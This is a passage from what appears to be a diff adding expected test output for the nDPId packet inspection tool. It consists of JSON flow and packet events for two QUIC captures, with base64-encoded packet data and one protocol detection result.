cfXGvqqcetWkoTg81lO9Haye5wgzOsUzheY9Lh1TUgo0WRNXVUuSv\/JGnmIG5uovTlVRwenPJouIS+CmrkTUvFwZ2e2QG\/xLBHcJ9L4V+YN+31gwg116TB1\/ngwjfvqla5cotuv7AWW+WckNMQGoS2EYDWJH4Uq0ZUbTENG\/qanNdGm8G85c0h2dl0eq8kn4sXYTc7lihVx7DpaoIJtYZ4ewJlA=="} +02098{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"quic-29.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592171671,"pkt_ts_usec":678489,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"7jdRvai\/bmImQfCgCABFAAUAmv8AAEARxtkKCQACCgkAAQG7juwE7BkSyv8AAB0RQ5RO2hi+t+VIs403W\/PCo7wSuOhEpZ26G1apwTYmb8yCval\/AEB05E7zam4KrOCCpL6PIIfgRdUbzpyVHBn4x79IqupqtuH42fvHd593lMAaeSV3f3ntkUM4uh0HoAgIkqZdvpMxFwlhXIafsdYpnXRA3MoA9SAW8uxZlEmC1oHsZmhvziyqz2Qg3vhhNWTnIMfiJoCZ2nihjOvn\/wAAHRFDlE7aGL635UizjTdb88KjvBK46ESlnbobVqnBNiZvzIK9qX9EF7YoczHgHXel6sKdMl+FW54qW9n4rsITMUv6fDNhpUwdkM272wWBpPMyj0qE5sC46NDsByFP0ogY15tIqCo5PQPoVgx4vL71QsLVr7g+oQnBRC1lgd2H7bpj4rGbKK6JYR6I7yqQc\/9nFmnqN6eGmJxBSRRU2ZScCNgc7W7v\/VPqF+M1Ixwh09AKgjibJqnc\/0qTwuOWoWmDPj7q2OIKWuiba6ibyfM0l2adRHKu9bpj92jUA4nZX\/snvw4E+uN+rsQsBhItdOR7aSvDCuq2ONeqqr91N9yfv7g+kWz4zbUnueT6YkWZIH\/q8F4OsVxcqSoL51hKYg4+JSXvlt5sIWufE\/v5\/F2CS0CxeUDemo2BDtjY3dR1JfMqnP0h94jD5J13hvRMqEw\/aXjqOkoiAYUT5kQzjMQhcAE7ceu24cbnogUeE005WQf8549jmJlazZcYA\/utGrLiQrB5HWyVg1DrCQ8FskSZ\/IIpxJbCpmP5\/DdUvQE574G1gxzgIOONjt6eIdjvRkFOG+cfgPbp7DAmE4f6eh8lrX6KkP2XsmFGySTTVuV+Lm+gucNeAnzd7st9jivsT4cJql3SEoM5125X4\/M2jZW8SCntg3CEF+CZP9iS5jB\/QaCZRoJsK\/Hyr5jDmn\/QAoDSMQMjvsB+qy\/KtvPgQIS82ZWSsLfTQcikY+p40W6kMQDNaF+Yh6uiLkw1Sx6I92Z5VDB65GER8s4Slx5VQlGG2y1AhnOpxVVH2mROhpLUZ7MdrAU0hyMsCNvwBEenVBOVQnH2+MJJQ2WP+\/eEY+ihtYhYAV7sVwinsau6HpChEBRsiApwudR+JWl\/My8A8wA48dwyw5WRRtjLe2ajg+o+cdehHNnmJwXHADfGVQOKjhi54NauDAvXZKMHwPL0IV5deVNh1tMxptLwP5aeulbeYwkc+4suD\/qqaVCtec6b\/VvTAF0Jcv8Y34aUQXHQbJiWWfs9WgpiD1XR4LkM06g9H+X8Q2ED3aC83qEDo6VcV46oDRxCpg6aGk+xaBXiCCgSlxoQk0S1\/cGWTmFdE8d9xQCTCCItR+4T+K\/iRh78JnuPW75GQU3ZAr2jU3VaaSk\/ezlJuDlTDH2zHd7I0I+EW\/M4Uwy0bl3qOEAJinV79XWSP9yHIjQ8JlYlO7An1pZvMM2gIDX2xIk\/2R1BN3J+b14xxbUtVIqcBcslQgsnB6EN9oqSINrB13oYpbrvWL5pDxWHuSydJTW6DqFMTqVr0hs8ZRPOD1nMKjMJBxPxbfiFP7177JENEWmmWvJkQ5B9s2hdVGHB1Xn6cSqOFUZUd1z3H66BJWVEX0lxHnx2vqzVaDoUAGKMR0vF1mRkwTng\/Qqh0bzA6ciHGHGgOzPjy6P+ZSUNl3DA2iLeRd6oHw=="} +00854{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"quic-29.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592171671,"pkt_ts_usec":678489,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"7jdRvai\/bmImQfCgCABFAAFumwAAAEARymoKCQACCgkAAQG7juwBWhWA5v8AAB0RQ5RO2hi+t+VIs403W\/PCo7wSuOhEpZ26G1apwTYmb8yCval\/QOZ+wK\/hFsbZvgiJNSS82e0rZThjnAKyCMj+l00mW2dwcbuXpdGzPuwTe4Btet\/vGKL60Ad6Oxoq3SZQ05MwGTYiLAcTqjzseiSF+CnfaJ20gZL9yMOe1svxUxT9QkAbGhmBg6Hm7+AwZIE52hL9hbFsJ+XMht61iVUHCzR8N4qEFGkDhU8ZzUrZC5dk02wbGqA9u1GXprvYk+IAVn7I+lWttZBzAnQ+SwrC\/S+wLz2j2BbJFkC\/Yp6U1a++\/lLxOLNXUvTMDRBRuUyGRJJ1dboV9qXxj6YSTBbbhslJBALpMjtwkKKVv1hDlE7aGL635UizjTdb88KjvNnmiJazbAgAvFZWVscNZdL\/g60ABZMZfjPu8X0YzUuaCxRajL8e3kttGIkdQNQ="} +02097{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"quic-29.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592171671,"pkt_ts_usec":683931,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"7jdRvai\/bmImQfCgCABFAAUAmwAAAEARxtgKCQACCgkAAQG7juwE7BkSw\/8AAB0RQ5RO2hi+t+VIs403W\/PCo7wSuOhEpZ26G1apwTYmb8yCval\/AEBvekMzWFipN2LQfSGuD32T0xoPCfUYHrpe6d+BxHgZUqtOCa0gVPnnNArSRv21TG5NTo4jlHb67RUdlHZioeCGQ3aQmmv1T0GY7ss59n4UV4rntk6L8k3aIKLGrP6sUcqK6v3VKpO0eImLTwPXSAjm7\/8AAB0RQ5RO2hi+t+VIs403W\/PCo7wSuOhEpZ26G1apwTYmb8yCval\/RBwHroGUAHSnL6Z6\/TvwTVshJdfxfbfJ+MiNb5M42ugHmqyYhSXF2uvfRI9k2Ysjxi1IfEcM534BaxTwwOBVRjqeHw0eVCuQ9QD4d5d4yDJVPKwquvZ7j6HRHyPRk5c6lvVnf+TjA2XGREbBUe1d13PTC6v4TY1ZgjZMDSjrcRruRt5AKnEt3kS2HJCvrS82dzblgV6bOhLcdbAaMs\/\/0aubQiT6LCSP+M4puMeywLv\/gt+gU17au1c8H3gwfkhBNIcAu\/ChyqAZ5lZr0WJmikzrR4nKtLYna4kLiSvczSO1lG5Cg+576tOfPDTgHSTB8tryZQfU41CzoOZAGMdsYIHYfS9ckd4JTTSxZCelh7ZL86hI157Zibg4Bekgc\/PMkPMJy3A8PKYvxRtdglVCSg+eIwvevATbfZ1qZnF6HIxu+wWYGbaK1HZj9wH+C7xw2vob0ufVYUKDutIpzqq\/EtJfllEkYiFCf8uQtm0IASO9Z1PTunWRBoe37Ss+YT0FFljmsN\/7DIPXhKBn\/V\/vOLBo20vH4XUA+EIi5s04HuTwCORn0cAc5oyoYO2NtTOE+bYnIceZxSsB0wRcu8lnt89+sZ\/dzRYefO0S7Vu2U7UJXATmFtYyJ1ueGv3iDw9naQyJ83Zp+9ruEvUTrCf5eZcF8VcOYhYS3lcL\/cJh9wRBN9nz1i\/+gv0uVGedL8l2HPFZuZddyCLY9daKhw3xLaHqvle4EGtLJELw+slCZ53OkdTIXDObGrknocAhFHuXmFvPDXq26AxqD9oLVcxhugFodU0n2k3EQrWj6lultTQXJvzQ5EhR1EBrZZ2v4udZSCk6l4WMJfcCFBwuV+rj\/0W86Qx6bD2BSuhMTrPmcBjRoMlgD4z+rFQmRGvNhHpAqi63SrvMGvUNFD1sb1r0br9XAWmmxB7K4WDhufF6BAnlc46oIc\/JXOrADrS9ojnaCUZPnGY8SwYj\/ZYRxf7b8HPZAAyShKPaZV3N4JV+0ej\/PmPNidsCuok6BuFwWspG+zeY0ME0wIqqYwodhDGYyJSK4Sb9vf0iWX6wIXl3gE5E\/+akqBeMK3ojsF9SSN5moh1iV6Nt6\/PMAfjHsGxpKhEF6PGH7tpLlAV7bC6ovV6bH8vBQP5QBcdLpH+MSCjtIMicvBjKDocObyxHi4aBl3JX0pAetBGPXIWTR2+lsvFskK466+cWVOsSeCJEB3TQbGr82QzPuvF3PecondqOSkXwmxi+bhaUqjnvlqoQFa\/ZPu8TzgFgseg7d1UDx4yZizLSsP3IxGLJliRPV9HqZ84z3gW0sxmxsWq37km1KNb9JewpSPJWJSZWABxslE\/kyLoEvdZz+OagDOXI\/J9HhvFpkcVxDwwC2JPDxtVVeKzoecw8IkzbsxpNcgelXg=="} +00763{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"quic-29.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592171671,"pkt_ts_usec":683931,"pkt_caplen":311,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":311,"pkt_l4_len":277,"pkt":"7jdRvai\/bmImQfCgCABFAAEpmwEAAEARyq4KCQACCgkAAQG7juwBFRU74P8AAB0RQ5RO2hi+t+VIs403W\/PCo7wSuOhEpZ26G1apwTYmb8yCval\/QOHmUXSXopzYbIjqUSAxnni3V5i+DUVIAGsX3IxxwtsEKNBknFp1419CVpzYg6M5MiPtWSGTHKoSX5IpxX4VMZKR\/0VRKxnEMLqLZ9jJWGvvvOSoQxj8AR9kVblIzw2GtPlm73EBhWZIS7ND8Gf\/brjHOyBuGrJbN6inoyxRkYFHBXDrRrAGbj\/t8\/5lKWahAJ5i7YjhXawLtrtyDnqZRvYefXpD\/bT+\/Rz7nsceEAIhlkkbO1qmLfCm2C\/G0+eIfXl2lR5qbFUiFauUbBRrwmbYZjIFVrZZmbt1dqT+6AevI70="} +01015{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"quic-29.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592171671,"pkt_ts_usec":689458,"pkt_caplen":494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":494,"pkt_l4_len":460,"pkt":"bmImQfCg7jdRvai\/CABFAAHg8aNAAEARM1UKCQABCgkAAo7sAbsBzBXy5\/8AAB0SuOhEpZ26G1apwTYmb8yCval\/EUOUTtoYvrflSLONN1vzwqO8QD2THbL\/8hXZVLfurLBAwE+F3hEACfHqfHOuHMQwKJ8nNfRrx0J6fZD\/tlKhNpLL0uj03uVDjNhOofM81d0EXbjoRKWduhtWqcE2Jm\/Mgr2pf\/hmao3i2v0eAIFEfbrBdVT9vISU8dVPX2eGpY5oMN6jvvk9AXuBnuo\/W\/4EMf4RWllLPotAXL634f3fUJpeNuKta9dYLb6q0W0YxhALeyPymnloS4f5MtYCDdrua+ex\/1ezQy5vPRiOUpeU2C1qGwwV37ryfxK\/ELwEz7TQ+i44FtJ\/AgDYUnHctZTsi+ffyUSTt9FZ\/f6j1m3LavfI4PBTom9Q8IUodauWFuNI0iTLr7cF5jzZcQiJuIpgH0l8fWL9scjCx27NQI5MYBPezX0Wef+XYB80fctZ\/MR2ziRe97ywhVvvI0APVyH1BDlJSeFeJTSBy\/J2xWGwwp\/odr5oGgQuOyj2sw610tR5zixFwaoauCj9ytuA6O5JQsdlnp1lsOxzWg4eD9YUGBbPbzdqVcJvh6zorVaDhv4oMWTn7Tcpr5KkC98="} +01776{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"quic-29.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592171671,"pkt_ts_usec":691969,"pkt_caplen":1062,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1062,"pkt_l4_len":1028,"pkt":"7jdRvai\/bmImQfCgCABFAAQYmwJAAEARh74KCQACCgkAAQG7juwEBBgqWEOUTtoYvrflSLONN1vzwqO8ahGfiFdmHKmxv79P7vgDiVOzp8yNSzlRHVAN42F8JUwrz25hfw8LXA5KoScSV9I0ULY25RZCLr4Am4UN2IKRcX4IOv5Pd2bqj5WgiX14mDqWKhl\/B6iG581dBass3mYlRc3A8lkzGdl6s\/tMeyWX2avOCwnEWkNRBGdMmgOaVm0iG9qcVR4LJqbgP9OIdsK88TqdsjFkxMNzyw7LAf5+8n\/A57XREU+1w+W6sgWjwkBvszoHejHJCj6fqyq5pDdv49C4cCUSMntEaHA2idwRcjEQafBfATfKVwuK\/e55pgNNo+83xZ9mS8OJUpT9JrpeyBwH\/9KI4ZQXR9sm4P9lNyYgi30rrfTPRs6xN93\/3FJ8zAwAbYIHBfYpYN4PzUtMecTGBllwCKf95lIIUqAZzRdp4jjt7\/NqTc95UszWlNi5wz3s+rPEN6J1l4CUdmGwGuz+AZJNH+6kV41LR0F7PQktPgkeIt19PWRRgyMnoJGD0TMjCTCr0hWG5RSwJbQABjrEPZtuJ41Rr0pYfdrhf9GAxNacTHTCJSt8OuF51+tXV9tar1TEv6THkUfGvEFFOmY36nuQ1HjT\/Ue+Vl+MMxepjos1ytFbYc2v7RHgXxc0i9tE\/qn6AF2JHTy9ecNfXv0mgfJtK7WQtZdhAm3NN2bvIiI774CalWjC9o8dQM\/I6Kau020fwxBwonwwKEm7AD01Reir7NVMFI6wv6KDsVCbLIZbSrHqzQ+\/TJa5Ha6ntpLBaA+TMCiNSRjWft+nEbD1gAeup2CIYSXZtCMwkmyerUhwmnigjmceOnXXfEXJJHIWGpg986TPoSf\/8BzzjRj0HcFa1z8k6MIAAfYssMfxBEWn04y2+qsfkE40nSurKE04+AiiLXngSLIsqCw8N09XBYY1+zdTWW1sS21PXSS1XkmqOSwyusqK3hUhNOmaFcr9apUqnjb49YQsDKJk4Bza7Rpuf0rKbZ\/r6eSag9+oENWylvWtuOn6HljirpyqyPRVd6aIudiRjKkZjuhaz30ba8luDMOe8D2BKo5J8QQZ5QAYwS7AVVP78hphb7EkQslpUzh3ZH09002CuYWSpvDcsx4r7K5+vr2ABUwXTzbhW6Iy3EZDQWTrdQMTCi9UXrdb81luv+Ezydl6ZOFhizEMkvL4lGbMPA5165IPLr2EbpJALrWMSHs8mXfbEaj40BmNP45SwU3z2ghqw2rPvwk7vYzmbhkbU5f\/wO+XUUTSIKW5iT3u5ajoUsqycAn2G8FTEpqJjvcIZScX\/Z4Ql0c+yKU+0AjwNzekvUkGdniH6P92GyFl6tOVHbtWe\/BiiB\/GBBR5P9ST"} +00466{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"quic-29.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592171671,"pkt_ts_usec":697099,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"bmImQfCg7jdRvai\/CABFAABR8aRAAEARNOMKCQABCgkAAo7sAbsAPRRjTbjoRKWduhtWqcE2Jm\/Mgr2pf3emTwexFPPk9CYvW4Chgu7gh0s7cwICmO9U1Mk13NwCLaI="} +00445{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"quic-29.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592171671,"pkt_ts_usec":697531,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"7jdRvai\/bmImQfCgCABFAABDmwNAAEARi5IKCQACCgkAAQG7juwALxRVW0OUTtoYvrflSLONN1vzwqO8qoI0h6uPmj71ohDazgvrBpeEXxty"} +00450{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"quic-29.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592171671,"pkt_ts_usec":697674,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"7jdRvai\/bmImQfCgCABFAABEmwRAAEARi5AKCQACCgkAAQG7juwAMBRWXUOUTtoYvrflSLONN1vzwqO8Bw2tbG272BFwPsChAYR5CNKZBI\/ZEg=="} +00451{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"quic-29.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592171671,"pkt_ts_usec":699048,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"bmImQfCg7jdRvai\/CABFAABG8aVAAEARNO0KCQABCgkAAo7sAbsAMhRYRLjoRKWduhtWqcE2Jm\/Mgr2pfyylxXskvsjmut\/j6WYYiwt6b+RVGzFH"} diff --git a/test/results/quic-33.pcapng.out b/test/results/quic-33.pcapng.out new file mode 100644 index 000000000..9a633ecd6 --- /dev/null +++ b/test/results/quic-33.pcapng.out @@ -0,0 +1,17 @@ +00464{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic-33.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1607938456563,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"::1","dst_ip":"::1","src_port":51430,"dst_port":4443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02098{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic-33.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1607938456,"pkt_ts_usec":563491,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"AAAAAAAAAAAAAAAAht1gIDHwBNgRQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAByOYRWwTYBOvLAAAAAQiH9eh3C8+VTAijB72XkxHdoQBEtoviUAck6tyLLoPW9VDwFsyJg3YOj5\/ZBBxoLZq+uwOezSI+NQXptD5by+TGWuPRPrDAYZviuXsVHC7HmqDeEDG8QAq3dV\/xeXm5rkywye7b+vdo1p1fctM\/Oux9r7eV+Bkfx5+wJ0fdvlhyFGnTrwdcg8+4C7doPPgPdg\/HlJ+WJBdBNlB5bMDPwE7kBX2Dh4rUsRtMuI8UcuXEYHPlESOyFKyqmw1DOdGJ\/piVc003W0\/LEq1Eo7qm+0VXxD0O2HOCIiEHQSR0LHjT1VxLfzhAmJaat83P4NhBjDwwPEBaziMk5Xx7FlGTbjmQXwNdCCRvlZwHV8Z1FjV1KFEWUlByB6YIRcrWgtYq\/i+4joHr0arERD7m6OPY7fw34Aislp\/J5tfwN5lpBEW4eq0YBQWIW+o0WsbDygLLOE8qK7VrIW545\/s6vWmiqY\/nX3eqKbXLLa\/FVUoUAYah6VY+54jT2WSxlVbjRbKzNCmQ7iFaNpCpIEDqRUT3251KkF2ic95oNqA7SdIHar3DhA1BLknCroi9vMu8dB8ZQzinHdG0dXM7MT\/3xjsj6W1BusBxpaKNCgk4AWnV4woWWMHuv3AkSN3SkyzvUkLVvh69eozjggDPPRwSQSUAzHDWzbhw1M0maJHN9uf4A3ju1BNcFXtgNbzbLvZ8jRjuvbV5+sT2dKCIGszHbDe\/k7VIj14F5Oz9yEIDLSjcjUNYxAEtmmIW3gkE0URoURbr4fR+9IcL0qzkw6dXZu343bgbz5HR6MUnSxTpV9fqwSf9hnrNjraoPMA+2dRpP1Zgg8SJxppmH92oRToz9aDvX2GEC3Onm3NhLiCy9XRFGhGu\/fP4euaO\/LhZROPQcNzbK0KhgrgIkbbcdw+GG0U1DyrSN2MCSa0G\/gdd0iXjRkpuSltfEWcs6h5VKXYCs0nARTLsAmshRBI4tBnyE8czB9KDGhDi69S4dxLc2GhDvI7sBC3oYplXnPFpYJ5UZlYX4x4JzCNfzPKJLkB1GZ\/\/fH4d4Bdn3o+N0leV4SXwVyj8+XQXm2lqcn0l4280XR1PY9wT7WxHSwRDVHU1WF+J6uEthL0G\/TTOA8IENfk0c9FtN1gtuZbVqEenj8UavApG8YgiwEFLw3lw7QwEpdl2suMFgNMJ9GKiLgGbJ0iDoFumS7lgCZ\/nQNWC5kLAQ+6RwzRxTfyP7COmrj9VOCl2+wDLTe3MfV2rc9okYbhZWBQ90PNxn4RsPjc\/Y6ROnBtAhNHbhNOY4vkKTiqPf\/zXa6gyKLJwM4B2ikSmnMEc6pOt0km1BxO3IMATJR3y2TyvQwDT4h3LmpQf0gEdwRzggs5B+E7eqr4GF3leCUThvLN07bE6f2xjlfM9GVfW\/hyXIlfEkPiVHs0uNEuAtqja9wjv+TVSELvsqoLajQtysd2XscH\/uqkhI80k6EzletW\/z347Tefjbi7un6kw52zxXR3upATGEcY8WECkFSms+LV3Cbtq+fVkM8LR8ZIcoDoUWH511e8PHOE07KwOpTJwROur3JKswX2UtackuKBEnRIb2VrFAu8O8Bq\/G9385WeZn1kznfucxDKavwZd9obaQ66d2I\/H3+7RezClYA=="} +00755{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic-33.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1607938456563,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"::1","dst_ip":"::1","src_port":51430,"dst_port":4443,"l4_proto":"udp","ndpi": {"flow_risk": {"24":"SNI TLS extension was missing"},"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"version":"TLSv1.3","alpn":"h3-33,hq-33,h3-32,hq-32,h3-31,hq-31,h3-29,hq-29","ja3":"0299b052ace53a14c3a04aceb5efd247","tls_supported_versions":"TLSv1.3,TLSv1.3 (draft),TLSv1.3 (draft),TLSv1.3 (draft)"}} +02097{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic-33.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1607938456,"pkt_ts_usec":566304,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"AAAAAAAAAAAAAAAAht1gLBAvBNgRQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABEVvI5gTYBOuKAAAAAQijB72XkxHdoQg7VxcI2Jvc+wBAmyNACkF8YFqpKbrULKoDb19+uZg6qvjJtwEJ\/uOaQSa3OSU6O4kzdS3stlDlI1x0pxU6U1p+48IkszqoivEYtB69bd+ITaYbTkxaelp3jMONrgP7+RVKaRNSt1HkpjhOcLPrzWczoHNZnIhNfvDy2JT2t08AucggcJe2\/4B\/vdnrtpqK6V\/yqwGFTMu1rQIkxS92C6tKauoy9+VqrwAAAAEIowe9l5MR3aEIO1cXCNib3PtEAuCsTgG\/NlsvOl6GJP2fa9o99BT145OKWZuTcmr433tc4jI7eA6S9XkiunJFKo6ZwPI0CMllqhzpZg\/M2oExoGin\/1BGN9cmCUQfuYgNqfFCtG+9ndT9HYjrsBCdjtJLmxL7rPr9q0tjGpDyuXZi9R4mNROPUrln\/PkhZzgiM0sHtdd5p\/bNeUYtEqE7ldAVt6\/n44lU+YN3SU+JWXbqssVrfvVzr36h3ab7fYZ2wDsFWfe3UAXx72w0FuOOYB7+7UQe00b5Z0z5SyfSm4P9dPYqojw9+jCHeJHd8IAkR4khzwJfJ3q7ZLCXjemRtbjS+jOnIFHSC581L8cRfFE0puRn3ZcyA6eigK1\/b\/IulmnDweMhm5uzPfRzVpuYtDAmfupBBO\/lq0x9UE6G6aXlrZk5pUsV\/Pqkms2\/6G+WtFFZQVjHMyjk00Lt801D4RBFQF6Pahphh1rFyerbrHyGpVjzLCCjQyphY+Ef9GwnSwZSXfDtl5l6V75F8hdBb7eRQwoSsYy2TAPUn+5EgUUMa1L0FdqwqulhpTwuiKxlEjCwVmTxOQ9cg0ckmklTggiUpDihR6CGEJh4wbwQvtSQI7moaNImb3zhI+1KDCqOesSmC0luDPiQ6HVXRRmZBTcfdXaVe6yn8aOTSuCvFQcYVZJMmDXWA3tjd8oaA17lJRBbd52Hesk8cJ\/YJxx85q2dKnHlb3PDDd1GsYUOHckqW9oBPW3OnKOCPAmLbdAwZewxw5NCtlvRr65YuEBJebGFHlf1HDlzUGnZEYOFz7QCUVI0Cm1TQGPnrse0LdnJMU4XAsVFTZ0rmN1WZ7lpL6siOc2kDO70InGs0erREqxP56ACsZJMVSLIWh+Wtd1TXT7s1cqcJTYFE1niy2vrWekG6gLj5S6d+RexzQMJFxrY7r+11SACpmCHMFInRkZ2X9ItKQsY5EbZalkFRVlIPVyM4egzMKz9sn52T\/vMFKgNzwFrf2sp17iUQaz1IyM4BWPhByUmfVEtsPpNhTudVAjT+DAK93H3WyrArXi\/C2kIO6kQjQL8MrdQf21Vn+lMg29055+PrObIIyJyGedJEXiBJHhcPUZyzw5wKIN3qGujdkkwR3NWZGQsR9D9oFcHebuLVvyY9rfcmZsewBxwBuE+3j7ZET5hnurVax3LpMwvKOC7lHimTxsExq+Apn9MfGeNafcclrRpd8qOhu5Y\/D9oPxLb43JPWxWrwE9\/H\/\/i9MLl+t0zWNInh13oyE1g07E++NmYobon6Smh\/KGoGULC6seHfmLDTFHYkzCH+jMiW6zoYiu7MVxzW\/pT13bjivVb6\/E5Iu6Gt0D2z7Y6bkUG7P9GxtXA2I4cOhOe8m7St\/U9gg=="} +01432{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"quic-33.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1607938456,"pkt_ts_usec":566431,"pkt_caplen":805,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":805,"pkt_l4_len":751,"pkt":"AAAAAAAAAAAAAAAAht1gLBAvAu8RQAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABEVvI5gLvAwKiAAAAAQijB72XkxHdoQg7VxcI2Jvc+0EX7RIgJstg2q\/pC81tAEQflatapq\/RZQEybKUVkOQrHxIiM3xbz3ZbafCyVgp9YFd+JrcvMCpFHqt9ha4UaWT\/CVOhVDMl+x8Qz2Pi7UbhXXzBIpETH8Z7GAVhwJp3720klhijkJwcoDMcJhlagIc47WtHZyC2\/NvYhyD6pe18qYPoUjuwqv+wJE\/ZuFV52ejpLWx76nNhIhGaoM22WiUW2N20UYQh0kubnK8ydedmguDEIxF73mmjfBjQU7d+\/kjc6w69nvaNM1WUtVe+1pIxu53jikC+jWmnb37byYPq9yuXiC3\/7jLmxfDtd9m0NACttAKJA\/JNnc1mj5nC7Y4hcumqIR3HrbC6nuLoYsXX2Zp0f9UgYV0fEqMHvZeTEd2hiKBY6bJdCuJKiCqdgeiTl8HqX5mvvlLWJPlmCEJCqIrxf4AkkUVGE4BSMBWdBgCOEniMLjdilc+qHYhwYNZ7tIGoZF6d6e+Y9Yje+rmHUnbpVz7jAirlBT5H70Gx8i7gxMgFdddmzogwCmelHc7wvmzlC3bbPNEkyFgFvBjt104z4kXXH0FdVNTjvLWqMrMbCISgSyaKcGImnAuSczuqI+IdDAVMV3KZetnbRYTODT0MnkiyhjZS2c2FGhXiSczCoL+nOf5G7u0IMQ1S2B5gWkWA4zkPvuFc+aQWgo\/5D9qUsPB6Q6\/Lj7MI5fOlLauhfzQmW9GNJRpuqdg3\/ZmECJ9z4HnHnfJd1luO6tXDuMawQhxYeD2xpO\/QqBEAH7sAsFTq\/abn1uTe8vqVNYsZRf0hwJAKRW\/BJxg25OGxhUlcywIb3vGZoq+dJmTxYWX\/eqXVDs+dco62ygOlroB9wJoypHt\/D+y7eYcgKaWYE3hnP28kNmmEQuWhfqoLHNJTZas1p5oY5kezaxnU27xSuQXqGdvZdYxhIaICM8EHXUKIOqW8fx5oue03v9+86w=="} 